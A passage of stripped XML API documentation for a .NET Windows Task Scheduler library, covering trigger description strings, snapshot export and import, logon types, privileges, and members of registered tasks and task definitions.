streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Serverâ„¢ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vistaâ„¢, Windows Serverâ„¢ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Serverâ„¢ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Serverâ„¢ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Serverâ„¢ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the 